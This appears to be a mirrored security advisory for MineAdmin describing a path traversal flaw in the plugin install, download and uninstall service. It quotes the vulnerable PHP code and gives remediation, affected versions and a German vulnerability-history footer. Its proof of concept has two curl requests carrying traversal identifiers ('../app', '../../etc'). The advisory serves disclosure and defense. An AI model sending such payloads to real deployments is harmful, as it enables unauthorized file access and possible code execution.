MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall
Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall
Summary
The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.
Vulnerable Code
File: plugin/mine-admin/app-store/src/Service/Service.php
// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
if (empty($params['identifier']) || empty($params['version'])) {
$this->throwParamsFail();
}
$service = make(AppStoreServiceImpl::class);
if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) { // Path traversal
$result = $service->download($params['identifier'], $params['version']);
// ...
}
return true;
}
// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
// ...
$path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal
if (file_exists($path . '/install.lock')) {
$this->throwAppInstalled();
}
Plugin::install($params['identifier']); // May run composer commands with traversal path
return true;
}
// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
// ...
$path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal
Plugin::uninstall($params['identifier']); // Arbitrary uninstall
return true;
}
File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)
#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)
Proof of Concept
# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
-H "Authorization: Bearer <JWT_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"identifier": "../app", "version": "1.0.0"}'
# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin
# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
-H "Authorization: Bearer <JWT_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"identifier": "../../etc", "version": "1.0.0"}'
Impact
- Path traversal enables reading directory existence outside the plugin directory
Plugin::install()with a traversed identifier may run composer commands on arbitrary directories- Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
- Could lead to arbitrary code execution depending on
Plugin::install()implementation
Remediation
Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Composer-Paket | mineadmin/mineadmin | < 3.2.0-alpha.2 | 3.2.0-alpha.2 |
Verweise
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N- Schwäche (CWE)
CWE-22- Plattform
- Composer
- Paket
mineadmin/mineadmin- Veröffentlicht
- 18.08.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-59xm-4m8c-g3xj - CC BY 4.0
Schwachstellenhistorie: mineadmin/mineadmin
Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 6
- Erste → letzte
- 12.2025 08.2026
- Ohne Fix
- 5
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 1
- Hoch 1
- Mittel 1
- Niedrig 3
Veröffentlichungen pro Jahr
- 2025: 1
- 2026: 5
-
MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.